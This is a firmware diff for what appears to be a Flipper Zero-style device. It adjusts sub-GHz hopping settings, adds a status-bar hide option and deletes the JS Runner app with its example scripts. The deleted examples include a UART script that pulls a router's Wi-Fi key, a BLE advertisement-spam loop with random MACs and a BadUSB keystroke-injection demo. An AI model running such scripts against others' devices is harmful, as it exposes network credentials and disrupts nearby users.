variable_item_set_current_value_text(item, hopping_mode_text[value_index]);
// Mod Hopping
variable_item_set_locked(
item,
subghz_txrx_preset_hopper_get_state(subghz->txrx) != SubGhzPresetHopperStateOFF,
"Turn off\nPreset\nHopping\nfirst!");
value_index = subghz_scene_receiver_config_preset_hopper_value_index(subghz);
item = variable_item_list_add(
subghz->variable_item_list,
"Mod Hopping",
COMBO_BOX_COUNT,
subghz_scene_receiver_config_set_mod_hopping,
"Preset Hopping",
PRESET_HOPPING_MODE_COUNT,
subghz_scene_receiver_config_set_preset_hopping,
subghz);
value_index = subghz->last_settings->enable_mod_hopping ? 1 : 0;
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, combobox_text[value_index]);
variable_item_set_current_value_text(item, preset_hopping_mode_text[value_index]);
variable_item_set_locked(
item,
subghz_txrx_hopper_get_state(subghz->txrx) != SubGhzHopperStateOFF,
"Turn off\nHopping\nfirst!");
}
if(scene_manager_get_scene_state(subghz->scene_manager, SubGhzSceneReadRAW) !=

View File

@@ -43,25 +43,9 @@ void subghz_scene_saved_menu_on_enter(void* context) {
if(fff) {
uint32_t cnt_tmp = 0;
flipper_format_rewind(fff);
bool got_uint = flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1);
FURI_LOG_I("SAVEDMENU", "Cnt uint32 read: %d val=%lu", (int)got_uint, (unsigned long)cnt_tmp);
if(got_uint) {
if(flipper_format_read_uint32(fff, "Cnt", &cnt_tmp, 1)) {
has_counter = true;
} else {
FuriString* cnt_str = furi_string_alloc();
flipper_format_rewind(fff);
bool got_str = flipper_format_read_string(fff, "Cnt", cnt_str);
FURI_LOG_I("SAVEDMENU", "Cnt string read: %d val=%s", (int)got_str, got_str ? furi_string_get_cstr(cnt_str) : "N/A");
if(got_str && furi_string_size(cnt_str) > 0) {
has_counter = true;
}
furi_string_free(cnt_str);
}
FuriString* proto_dbg = furi_string_alloc();
flipper_format_rewind(fff);
flipper_format_read_string(fff, "Protocol", proto_dbg);
FURI_LOG_I("SAVEDMENU", "Protocol=%s has_counter=%d", furi_string_get_cstr(proto_dbg), (int)has_counter);
furi_string_free(proto_dbg);
}
submenu_add_item(

View File

@@ -13,7 +13,8 @@
#define SUBGHZ_LAST_SETTING_FIELD_FREQUENCY_ANALYZER_TRIGGER "FATrigger"
#define SUBGHZ_LAST_SETTING_FIELD_PROTOCOL_FILE_NAMES "ProtocolNames"
#define SUBGHZ_LAST_SETTING_FIELD_HOPPING_ENABLE "Hopping"
#define SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING "ModHopping"
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING "PresetHopping"
#define SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD "PresetHoppingThreshold"
#define SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER "IgnoreFilter"
#define SUBGHZ_LAST_SETTING_FIELD_FILTER "Filter"
#define SUBGHZ_LAST_SETTING_FIELD_RSSI_THRESHOLD "RSSI"
@@ -46,6 +47,8 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
instance->filter = SubGhzProtocolFlag_Decodable;
instance->rssi = SUBGHZ_RAW_THRESHOLD_MIN;
instance->hopping_threshold = -90.0f;
instance->enable_preset_hopping = false;
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
instance->leds_and_amp = true;
Storage* storage = furi_record_open(RECORD_STORAGE);
@@ -101,11 +104,23 @@ void subghz_last_settings_load(SubGhzLastSettings* instance, size_t preset_count
}
if(!flipper_format_read_bool(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING,
&instance->enable_mod_hopping,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
&instance->enable_preset_hopping,
1)) {
instance->enable_preset_hopping = false;
flipper_format_rewind(fff_data_file);
}
float temp_preset_threshold = 0;
if(!flipper_format_read_float(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
&temp_preset_threshold,
1)) {
instance->preset_hopping_threshold = SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD;
flipper_format_rewind(fff_data_file);
} else {
instance->preset_hopping_threshold = temp_preset_threshold;
}
if(!flipper_format_read_uint32(
fff_data_file,
SUBGHZ_LAST_SETTING_FIELD_IGNORE_FILTER,
@@ -223,8 +238,15 @@ bool subghz_last_settings_save(SubGhzLastSettings* instance) {
}
if(!flipper_format_write_bool(
file,
SUBGHZ_LAST_SETTING_FIELD_MOD_HOPPING,
&instance->enable_mod_hopping,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING,
&instance->enable_preset_hopping,
1)) {
break;
}
if(!flipper_format_write_float(
file,
SUBGHZ_LAST_SETTING_FIELD_PRESET_HOPPING_THRESHOLD,
&instance->preset_hopping_threshold,
1)) {
break;
}

View File

@@ -12,20 +12,22 @@
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET 1
#define SUBGHZ_LAST_SETTING_DEFAULT_FREQUENCY 433920000
#define SUBGHZ_LAST_SETTING_FREQUENCY_ANALYZER_FEEDBACK_LEVEL 2
#define SUBGHZ_LAST_SETTING_DEFAULT_PRESET_HOPPING_THRESHOLD (-80.0f)
typedef struct {
uint32_t frequency;
uint32_t preset_index; // AKA Modulation
uint32_t preset_index;
uint32_t frequency_analyzer_feedback_level;
float frequency_analyzer_trigger;
bool protocol_file_names;
bool enable_hopping;
bool enable_mod_hopping;
uint32_t ignore_filter;
uint32_t filter;
float rssi;
bool delete_old_signals;
float hopping_threshold;
bool enable_preset_hopping;
float preset_hopping_threshold;
bool leds_and_amp;
uint8_t tx_power;
} SubGhzLastSettings;

View File

@@ -1,4 +1,5 @@
#include <storage/storage.h>
#include <gui/gui.h>
#include "../desktop_i.h"
#include "../views/desktop_view_slideshow.h"
@@ -14,6 +15,7 @@ void desktop_scene_slideshow_on_enter(void* context) {
Desktop* desktop = (Desktop*)context;
DesktopSlideshowView* slideshow_view = desktop->slideshow_view;
gui_set_hide_status_bar(desktop->gui, true);
desktop_view_slideshow_set_callback(slideshow_view, desktop_scene_slideshow_callback, desktop);
view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdSlideshow);
@@ -46,5 +48,6 @@ bool desktop_scene_slideshow_on_event(void* context, SceneManagerEvent event) {
void desktop_scene_slideshow_on_exit(void* context) {
Desktop* desktop = context;
gui_set_hide_status_bar(desktop->gui, false);
storage_common_remove(desktop->storage, SLIDESHOW_FS_PATH);
}

View File

@@ -251,16 +251,20 @@ static void gui_redraw(Gui* gui) {
if(gui_is_lockdown(gui)) {
gui_redraw_desktop(gui);
bool need_attention =
(gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 ||
gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0);
gui_redraw_status_bar(gui, need_attention);
if(!gui->hide_status_bar) {
bool need_attention =
(gui_view_port_find_enabled(gui->layers[GuiLayerWindow]) != 0 ||
gui_view_port_find_enabled(gui->layers[GuiLayerFullscreen]) != 0);
gui_redraw_status_bar(gui, need_attention);
}
} else {
if(!gui_redraw_fs(gui)) {
if(!gui_redraw_window(gui)) {
gui_redraw_desktop(gui);
}
gui_redraw_status_bar(gui, false);
if(!gui->hide_status_bar) {
gui_redraw_status_bar(gui, false);
}
}
}
@@ -512,6 +516,16 @@ bool gui_is_lockdown(const Gui* gui) {
return gui->lockdown && !gui->lockdown_inhibit;
}
void gui_set_hide_status_bar(Gui* gui, bool hide) {
furi_check(gui);
gui_lock(gui);
gui->hide_status_bar = hide;
gui_unlock(gui);
gui_update(gui);
}
Canvas* gui_direct_draw_acquire(Gui* gui) {
furi_check(gui);

View File

@@ -127,6 +127,16 @@ void gui_set_lockdown_inhibit(Gui* gui, bool inhibit);
*/
bool gui_is_lockdown(const Gui* gui);
/** Set hide status bar mode
*
* When enabled, the status bar is not drawn on top of the desktop layer.
* Used by the slideshow to show fullscreen content without the status bar overlay.
*
* @param gui Gui instance
* @param hide bool, true to hide status bar
*/
void gui_set_hide_status_bar(Gui* gui, bool hide);
/** Acquire Direct Draw lock and get Canvas instance
*
* This method return Canvas instance for use in monopoly mode. Direct draw lock

View File

@@ -53,6 +53,7 @@ struct Gui {
bool lockdown;
bool lockdown_inhibit;
bool direct_draw;
bool hide_status_bar;
ViewPortArray_t layers[GuiLayerMAX];
Canvas* canvas;

View File

@@ -11,8 +11,6 @@
#define TAG "LoaderApplications"
#define JS_RUNNER_APP "JS Runner"
struct LoaderApplications {
FuriThread* thread;
void (*closed_cb)(void*);
@@ -86,19 +84,13 @@ static bool loader_applications_item_callback(
FuriString* item_name) {
LoaderApplicationsApp* loader_applications_app = context;
furi_assert(loader_applications_app);
if(furi_string_end_with(path, ".fap")) {
return flipper_application_load_name_and_icon(
path, loader_applications_app->storage, icon_ptr, item_name);
} else {
path_extract_filename(path, item_name, false);
memcpy(*icon_ptr, icon_get_frame_data(&I_js_script_10px, 0), FAP_MANIFEST_MAX_ICON_SIZE);
return true;
}
return flipper_application_load_name_and_icon(
path, loader_applications_app->storage, icon_ptr, item_name);
}
static bool loader_applications_select_app(LoaderApplicationsApp* loader_applications_app) {
const DialogsFileBrowserOptions browser_options = {
.extension = ".fap|.js",
.extension = ".fap",
.skip_assets = true,
.icon = &I_unknown_10px,
.hide_ext = true,
@@ -152,12 +144,7 @@ static int32_t loader_applications_thread(void* p) {
view_holder_set_view(app->view_holder, loading_get_view(app->loading));
while(loader_applications_select_app(app)) {
if(!furi_string_end_with(app->file_path, ".js")) {
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
} else {
loader_applications_start_app(
app, JS_RUNNER_APP, furi_string_get_cstr(app->file_path));
}
loader_applications_start_app(app, furi_string_get_cstr(app->file_path), NULL);
}
// stop loading animation

View File

@@ -4,7 +4,6 @@ App(
apptype=FlipperAppType.METAPACKAGE,
provides=[
"updater_app",
"js_app",
# "archive",
],
)

View File

@@ -1,281 +0,0 @@
App(
appid="js_app",
name="JS Runner",
apptype=FlipperAppType.SYSTEM,
entry_point="js_app",
stack_size=2 * 1024,
resources="examples",
order=10,
provides=["js_app_start"],
sources=[
"js_app.c",
"js_modules.c",
"js_thread.c",
"js_value.c",
"plugin_api/app_api_table.cpp",
"views/console_view.c",
"modules/js_flipper.c",
"modules/js_tests.c",
],
)
App(
appid="js_app_start",
apptype=FlipperAppType.STARTUP,
entry_point="js_app_on_system_start",
order=110,
sources=["js_app.c"],
)
App(
appid="js_event_loop",
apptype=FlipperAppType.PLUGIN,
entry_point="js_event_loop_ep",
requires=["js_app"],
sources=[
"modules/js_event_loop/js_event_loop.c",
"modules/js_event_loop/js_event_loop_api_table.cpp",
],
)
App(
appid="js_gui",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gui_ep",
requires=["js_app"],
sources=["modules/js_gui/js_gui.c", "modules/js_gui/js_gui_api_table.cpp"],
)
App(
appid="js_gui__loading",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_loading_ep",
requires=["js_app"],
sources=["modules/js_gui/loading.c"],
)
App(
appid="js_gui__empty_screen",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_empty_screen_ep",
requires=["js_app"],
sources=["modules/js_gui/empty_screen.c"],
)
App(
appid="js_gui__submenu",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_submenu_ep",
requires=["js_app"],
sources=["modules/js_gui/submenu.c"],
)
App(
appid="js_gui__text_input",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_text_input_ep",
requires=["js_app"],
sources=["modules/js_gui/text_input.c"],
)
App(
appid="js_gui__number_input",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_number_input_ep",
requires=["js_app"],
sources=["modules/js_gui/number_input.c"],
)
App(
appid="js_gui__button_panel",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_button_panel_ep",
requires=["js_app"],
sources=["modules/js_gui/button_panel.c"],
)
App(
appid="js_gui__popup",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_popup_ep",
requires=["js_app"],
sources=["modules/js_gui/popup.c"],
)
App(
appid="js_gui__button_menu",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_button_menu_ep",
requires=["js_app"],
sources=["modules/js_gui/button_menu.c"],
)
App(
appid="js_gui__menu",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_menu_ep",
requires=["js_app"],
sources=["modules/js_gui/menu.c"],
)
App(
appid="js_gui__vi_list",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_vi_list_ep",
requires=["js_app"],
sources=["modules/js_gui/vi_list.c"],
)
App(
appid="js_gui__byte_input",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_byte_input_ep",
requires=["js_app"],
sources=["modules/js_gui/byte_input.c"],
)
App(
appid="js_gui__text_box",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_text_box_ep",
requires=["js_app"],
sources=["modules/js_gui/text_box.c"],
)
App(
appid="js_gui__dialog",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_dialog_ep",
requires=["js_app"],
sources=["modules/js_gui/dialog.c"],
)
App(
appid="js_gui__file_picker",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gui_file_picker_ep",
requires=["js_app"],
sources=["modules/js_gui/file_picker.c"],
fap_libs=["assets"],
)
App(
appid="js_gui__widget",
apptype=FlipperAppType.PLUGIN,
entry_point="js_view_widget_ep",
requires=["js_app"],
sources=["modules/js_gui/widget.c"],
)
App(
appid="js_gui__icon",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gui_icon_ep",
requires=["js_app"],
sources=["modules/js_gui/icon.c"],
fap_libs=["assets"],
)
App(
appid="js_notification",
apptype=FlipperAppType.PLUGIN,
entry_point="js_notification_ep",
requires=["js_app"],
sources=["modules/js_notification.c"],
)
App(
appid="js_badusb",
apptype=FlipperAppType.PLUGIN,
entry_point="js_badusb_ep",
requires=["js_app"],
sources=["modules/js_badusb.c"],
)
App(
appid="js_serial",
apptype=FlipperAppType.PLUGIN,
entry_point="js_serial_ep",
requires=["js_app"],
sources=["modules/js_serial.c"],
)
App(
appid="js_gpio",
apptype=FlipperAppType.PLUGIN,
entry_point="js_gpio_ep",
requires=["js_app"],
sources=["modules/js_gpio.c"],
)
App(
appid="js_math",
apptype=FlipperAppType.PLUGIN,
entry_point="js_math_ep",
requires=["js_app"],
sources=["modules/js_math.c"],
)
App(
appid="js_storage",
apptype=FlipperAppType.PLUGIN,
entry_point="js_storage_ep",
requires=["js_app"],
sources=["modules/js_storage.c"],
)
App(
appid="js_vgm",
apptype=FlipperAppType.PLUGIN,
entry_point="js_vgm_ep",
requires=["js_app"],
sources=["modules/js_vgm/*.c", "modules/js_vgm/ICM42688P/*.c"],
)
App(
appid="js_subghz",
apptype=FlipperAppType.PLUGIN,
entry_point="js_subghz_ep",
requires=["js_app"],
sources=["modules/js_subghz/*.c"],
)
App(
appid="js_infrared",
apptype=FlipperAppType.PLUGIN,
entry_point="js_infrared_ep",
requires=["js_app"],
sources=["modules/js_infrared/*.c"],
)
App(
appid="js_blebeacon",
apptype=FlipperAppType.PLUGIN,
entry_point="js_blebeacon_ep",
requires=["js_app"],
sources=["modules/js_blebeacon.c"],
)
App(
appid="js_usbdisk",
apptype=FlipperAppType.PLUGIN,
entry_point="js_usbdisk_ep",
requires=["js_app"],
sources=["modules/js_usbdisk/*.c"],
)
App(
appid="js_i2c",
apptype=FlipperAppType.PLUGIN,
entry_point="js_i2c_ep",
requires=["js_app"],
sources=["modules/js_i2c.c"],
)
App(
appid="js_spi",
apptype=FlipperAppType.PLUGIN,
entry_point="js_spi_ep",
requires=["js_app"],
sources=["modules/js_spi.c"],
)

View File

@@ -1,8 +0,0 @@
let arr_1 = Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9]);
print("len =", arr_1.buffer.byteLength);
let arr_2 = Uint8Array(arr_1.buffer.slice(2, 6));
print("slice len =", arr_2.buffer.byteLength);
for (let i = 0; i < arr_2.buffer.byteLength; i++) {
print(arr_2[i]);
}

View File

@@ -1,20 +0,0 @@
let serial = require("serial");
serial.setup("lpuart", 115200);
// serial.write("\n");
serial.write([0x0a]);
let console_resp = serial.expect("# ", 1000);
if (console_resp === undefined) {
print("No CLI response");
} else {
serial.write("uci\n");
let uci_state = serial.expect([": not found", "Usage: "]);
if (uci_state === 1) {
serial.expect("# ");
serial.write("uci show wireless\n");
serial.expect(".key=");
print("key:", serial.readln());
} else {
print("uci cmd not found");
}
}

View File

@@ -1,73 +0,0 @@
let badusb = require("badusb");
let notify = require("notification");
let flipper = require("flipper");
let eventLoop = require("event_loop");
let gui = require("gui");
let dialog = require("gui/dialog");
let views = {
dialog: dialog.makeWith({
header: "BadUSB demo",
text: "Press OK to start",
center: "Start",
}),
};
badusb.setup({
vid: 0xAAAA,
pid: 0xBBBB,
mfrName: "Flipper",
prodName: "Zero",
layoutPath: "/ext/badusb/assets/layouts/en-US.kl"
});
eventLoop.subscribe(views.dialog.input, function (_sub, button, eventLoop, gui) {
if (button !== "center")
return;
gui.viewDispatcher.sendTo("back");
if (badusb.isConnected()) {
notify.blink("green", "short");
print("USB is connected");
badusb.println("Hello, world!");
badusb.press("CTRL", "a");
badusb.press("CTRL", "c");
badusb.press("DOWN");
delay(1000);
badusb.press("CTRL", "v");
delay(1000);
badusb.press("CTRL", "v");
badusb.println("1234", 200);
badusb.println("Flipper Model: " + flipper.getModel());
badusb.println("Flipper Name: " + flipper.getName());
badusb.println("Battery level: " + flipper.getBatteryCharge().toString() + "%");
// Alt+Numpad method works only on Windows!!!
badusb.altPrintln("This was printed with Alt+Numpad method!");
// There's also badusb.print() and badusb.altPrint()
// which don't add the return at the end
notify.success();
} else {
print("USB not connected");
notify.error();
}
// Optional, but allows to unlock usb interface to switch profile
badusb.quit();
eventLoop.stop();
}, eventLoop, gui);
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _item, eventLoop) {
eventLoop.stop();
}, eventLoop);
gui.viewDispatcher.switchTo(views.dialog);
eventLoop.run();

View File

@@ -1,62 +0,0 @@
// Script cannot work without blebeacon module so check before
checkSdkFeatures(["blebeacon"]);
let blebeacon = require("blebeacon");
// Stop if previous background beacon is active
if (blebeacon.isActive()) {
blebeacon.stop();
}
// Make sure it resets at script exit, true will keep advertising in background
// This is false by default, can be omitted
blebeacon.keepAlive(false);
let math = require("math");
let currentIndex = 0;
let watchValues = [
0x1A, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08,
0x09, 0x0A, 0x0B, 0x0C, 0x11, 0x12, 0x13, 0x14, 0x15,
0x16, 0x17, 0x18, 0xE4, 0xE5, 0x1B, 0x1C, 0x1D, 0x1E,
0x20, 0xEC, 0xEF
];
function generateRandomMac() {
let mac = [];
for (let i = 0; i < 6; i++) {
mac.push(math.floor(math.random() * 256));
}
return Uint8Array(mac);
}
function sendRandomModelAdvertisement() {
let model = watchValues[currentIndex];
let packet = [
14, 0xFF, 0x75, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x01, 0xFF, 0x00, 0x00, 0x43,
model
];
let intervalMs = 50;
// Power level, min interval and max interval are optional
blebeacon.setConfig(generateRandomMac(), 0x1F, intervalMs, intervalMs * 3);
blebeacon.setData(Uint8Array(packet));
blebeacon.start();
print("Sent data for model ID " + model.toString());
currentIndex = (currentIndex + 1) % watchValues.length;
delay(intervalMs);
blebeacon.stop();
}
while (true) {
sendRandomModelAdvertisement();
}

View File

@@ -1,5 +0,0 @@
print("print", 1);
console.log("log", 2);
console.warn("warn", 3);
console.error("error", 4);
console.debug("debug", 5);

View File

@@ -1,9 +0,0 @@
print("start");
delay(1000)
print("1");
delay(1000)
print("2");
delay(1000)
print("3");
delay(1000)
print("end");

View File

@@ -1,25 +0,0 @@
let eventLoop = require("event_loop");
// print a string after 1337 milliseconds
eventLoop.subscribe(eventLoop.timer("oneshot", 1337), function (_subscription, _item) {
print("Hi after 1337 ms");
});
// count up to 5 with a delay of 100ms between increments
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, counter) {
print("Counter two:", counter);
if (counter === 5)
subscription.cancel();
return [counter + 1];
}, 0);
// count up to 15 with a delay of 100ms between increments
// and stop the program when the count reaches 15
eventLoop.subscribe(eventLoop.timer("periodic", 100), function (subscription, _item, event_loop, counter) {
print("Counter one:", counter);
if (counter === 15)
event_loop.stop();
return [event_loop, counter + 1];
}, eventLoop, 0);
eventLoop.run();

View File

@@ -1,65 +0,0 @@
let eventLoop = require("event_loop");
let gpio = require("gpio");
// initialize pins
let led = gpio.get("pc3"); // same as `gpio.get(7)`
let led2 = gpio.get("pa7"); // same as `gpio.get(2)`
let pot = gpio.get("pc0"); // same as `gpio.get(16)`
let button = gpio.get("pc1"); // same as `gpio.get(15)`
led.init({ direction: "out", outMode: "push_pull" });
pot.init({ direction: "in", inMode: "analog" });
button.init({ direction: "in", pull: "up", inMode: "interrupt", edge: "falling" });
// blink led
print("Commencing blinking (PC3)");
eventLoop.subscribe(eventLoop.timer("periodic", 1000), function (_, _item, led, state) {
led.write(state);
return [led, !state];
}, led, true);
// cycle led pwm
print("Commencing PWM (PA7)");
eventLoop.subscribe(eventLoop.timer("periodic", 10), function (_, _item, led2, state) {
led2.pwmWrite(10000, state);
return [led2, (state + 1) % 101];
}, led2, 0);
// read potentiometer when button is pressed
print("Press the button (PC1)");
eventLoop.subscribe(button.interrupt(), function (_, _item, pot) {
print("PC0 is at", pot.readAnalog(), "mV");
}, pot);
// the program will just exit unless this is here
eventLoop.run();
// possible pins https://docs.flipper.net/gpio-and-modules#miFsS
// "PA7" aka 2
// "PA6" aka 3
// "PA4" aka 4
// "PB3" aka 5
// "PB2" aka 6
// "PC3" aka 7
// "PA14" aka 10
// "PA13" aka 12
// "PB6" aka 13
// "PB7" aka 14
// "PC1" aka 15
// "PC0" aka 16
// "PB14" aka 17
// possible modes
// { direction: "out", outMode: "push_pull" }
// { direction: "out", outMode: "open_drain" }
// { direction: "out", outMode: "push_pull", altFn: true }
// { direction: "out", outMode: "open_drain", altFn: true }
// { direction: "in", inMode: "analog" }
// { direction: "in", inMode: "plain_digital" }
// { direction: "in", inMode: "interrupt", edge: "rising" }
// { direction: "in", inMode: "interrupt", edge: "falling" }
// { direction: "in", inMode: "interrupt", edge: "both" }
// { direction: "in", inMode: "event", edge: "rising" }
// { direction: "in", inMode: "event", edge: "falling" }
// { direction: "in", inMode: "event", edge: "both" }
// all variants support an optional `pull` field which can either be undefined,
// "up" or "down"

View File

@@ -1,265 +0,0 @@
// import modules
let eventLoop = require("event_loop");
let gui = require("gui");
let loadingView = require("gui/loading");
let submenuView = require("gui/submenu");
let emptyView = require("gui/empty_screen");
let textInputView = require("gui/text_input");
let byteInputView = require("gui/byte_input");
let textBoxView = require("gui/text_box");
let dialogView = require("gui/dialog");
let filePicker = require("gui/file_picker");
let buttonMenuView = require("gui/button_menu");
let buttonPanelView = require("gui/button_panel");
let menuView = require("gui/menu");
let numberInputView = require("gui/number_input");
let popupView = require("gui/popup");
let viListView = require("gui/vi_list");
let widget = require("gui/widget");
let icon = require("gui/icon");
let flipper = require("flipper");
let math = require("math");
// declare clock widget children
let cuteDolphinWithWatch = icon.getBuiltin("DolphinWait_59x54");
let jsLogo = icon.getBuiltin("js_script_10px");
let stopwatchWidgetElements = [
{ element: "string", x: 67, y: 44, align: "bl", font: "big_numbers", text: "00 00" },
{ element: "string", x: 77, y: 22, align: "bl", font: "primary", text: "Stopwatch" },
{ element: "rect", x: 64, y: 27, w: 28, h: 20, radius: 3, fill: false },
{ element: "rect", x: 100, y: 27, w: 28, h: 20, radius: 3, fill: false },
{ element: "icon", x: 0, y: 5, iconData: cuteDolphinWithWatch },
{ element: "icon", x: 64, y: 13, iconData: jsLogo },
{ element: "button", button: "right", text: "Back" },
];
// icons for the button panel
let offIcons = [icon.getBuiltin("off_19x20"), icon.getBuiltin("off_hover_19x20")];
let powerIcons = [icon.getBuiltin("power_19x20"), icon.getBuiltin("power_hover_19x20")];
let settingsIcon = icon.getBuiltin("Settings_14");
// declare view instances
let views = {
loading: loadingView.make(),
empty: emptyView.make(),
keyboard: textInputView.makeWith({
header: "Enter your name",
minLength: 0,
maxLength: 32,
defaultText: flipper.getName(),
defaultTextClear: true,
}),
helloDialog: dialogView.make(),
bytekb: byteInputView.makeWith({
header: "Look ma, I'm a header text!",
length: 8,
defaultData: Uint8Array([0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88]),
}),
longText: textBoxView.makeWith({
text: "This is a very long string that demonstrates the TextBox view. Use the D-Pad to scroll backwards and forwards.\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse rhoncus est malesuada quam egestas ultrices. Maecenas non eros a nulla eleifend vulputate et ut risus. Quisque in mauris mattis, venenatis risus eget, aliquam diam. Fusce pretium feugiat mauris, ut faucibus ex volutpat in. Phasellus volutpat ex sed gravida consectetur. Aliquam sed lectus feugiat, tristique lectus et, bibendum lacus. Ut sit amet augue eu sapien elementum aliquam quis vitae tortor. Vestibulum quis commodo odio. In elementum fermentum massa, eu pellentesque nibh cursus at. Integer eleifend lacus nec purus elementum sodales. Nulla elementum neque urna, non vulputate massa semper sed. Fusce ut nisi vitae dui blandit congue pretium vitae turpis.",
}),
stopwatchWidget: widget.makeWith({}, stopwatchWidgetElements),
buttonMenu: buttonMenuView.makeWith({
header: "Header"
}, [
{ type: "common", label: "Test" },
{ type: "control", label: "Test2" },
]),
buttonPanel: buttonPanelView.makeWith({
matrixSizeX: 2,
matrixSizeY: 2,
}, [
{ type: "button", x: 0, y: 0, matrixX: 0, matrixY: 0, icon: offIcons[0], iconSelected: offIcons[1] },
{ type: "button", x: 30, y: 30, matrixX: 1, matrixY: 1, icon: powerIcons[0], iconSelected: powerIcons[1] },
{ type: "label", x: 0, y: 50, text: "Label", font: "primary" },
]),
menu: menuView.makeWith({}, [
{ label: "One", icon: settingsIcon },
{ label: "Two", icon: settingsIcon },
{ label: "three", icon: settingsIcon },
]),
numberKbd: numberInputView.makeWith({
header: "Number input",
defaultValue: 100,
minValue: 0,
maxValue: 200,
}),
popup: popupView.makeWith({
header: "Hello",
text: "I'm going to be gone\nin 2 seconds",
}),
viList: viListView.makeWith({}, [
{ label: "One", variants: ["1", "1.0"] },
{ label: "Two", variants: ["2", "2.0"] },
]),
demos: submenuView.makeWith({
header: "Choose a demo",
}, [
"Hourglass screen",
"Empty screen",
"Text input & Dialog",
"Byte input",
"Text box",
"File picker",
"Widget",
"Button menu",
"Button panel",
"Menu",
"Number input",
"Popup",
"Var. item list",
"Exit app",
]),
};
// Enable illegal filename symbols since we're not choosing filenames, gives more flexibility
// Not available in all firmwares, good idea to check if it is supported
if (doesSdkSupport(["gui-textinput-illegalsymbols"])) {
views.keyboard.set("illegalSymbols", true);
}
// demo selector
eventLoop.subscribe(views.demos.chosen, function (_sub, index, gui, eventLoop, views) {
if (index === 0) {
gui.viewDispatcher.switchTo(views.loading);
// the loading view captures all back events, preventing our navigation callback from firing
// switch to the demo chooser after a second
eventLoop.subscribe(eventLoop.timer("oneshot", 1000), function (_sub, _, gui, views) {
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
} else if (index === 1) {
gui.viewDispatcher.switchTo(views.empty);
} else if (index === 2) {
gui.viewDispatcher.switchTo(views.keyboard);
} else if (index === 3) {
gui.viewDispatcher.switchTo(views.bytekb);
} else if (index === 4) {
gui.viewDispatcher.switchTo(views.longText);
} else if (index === 5) {
let path = filePicker.pickFile("/ext", "*");
if (path) {
views.helloDialog.set("text", "You selected:\n" + path);
} else {
views.helloDialog.set("text", "You didn't select a file");
}
views.helloDialog.set("center", "Nice!");
gui.viewDispatcher.switchTo(views.helloDialog);
} else if (index === 6) {
gui.viewDispatcher.switchTo(views.stopwatchWidget);
} else if (index === 7) {
gui.viewDispatcher.switchTo(views.buttonMenu);
} else if (index === 8) {
gui.viewDispatcher.switchTo(views.buttonPanel);
} else if (index === 9) {
gui.viewDispatcher.switchTo(views.menu);
} else if (index === 10) {
gui.viewDispatcher.switchTo(views.numberKbd);
} else if (index === 11) {
views.popup.set("timeout", 2000);
gui.viewDispatcher.switchTo(views.popup);
} else if (index === 12) {
gui.viewDispatcher.switchTo(views.viList);
} else if (index === 13) {
eventLoop.stop();
}
}, gui, eventLoop, views);
// say hi after keyboard input
eventLoop.subscribe(views.keyboard.input, function (_sub, name, gui, views) {
views.keyboard.set("defaultText", name); // Remember for next usage
views.helloDialog.set("text", "Hi " + name + "! :)");
views.helloDialog.set("center", "Hi Flipper! :)");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// go back after the greeting dialog
eventLoop.subscribe(views.helloDialog.input, function (_sub, button, gui, views) {
if (button === "center")
gui.viewDispatcher.switchTo(views.demos);
}, gui, views);
// show data after byte input
eventLoop.subscribe(views.bytekb.input, function (_sub, data, gui, views) {
let data_view = Uint8Array(data);
let text = "0x";
for (let i = 0; i < data_view.length; i++) {
text += data_view[i].toString(16);
}
views.helloDialog.set("text", "You typed:\n" + text);
views.helloDialog.set("center", "Cool!");
gui.viewDispatcher.switchTo(views.helloDialog);
}, gui, views);
// go to the demo chooser screen when the back key is pressed
eventLoop.subscribe(gui.viewDispatcher.navigation, function (_sub, _, gui, views, eventLoop) {
if (gui.viewDispatcher.currentView === views.demos) {
eventLoop.stop();
return;
}
gui.viewDispatcher.switchTo(views.demos);
}, gui, views, eventLoop);
// go to the demo chooser screen when the right key is pressed on the widget screen
eventLoop.subscribe(views.stopwatchWidget.button, function (_sub, buttonEvent, gui, views) {
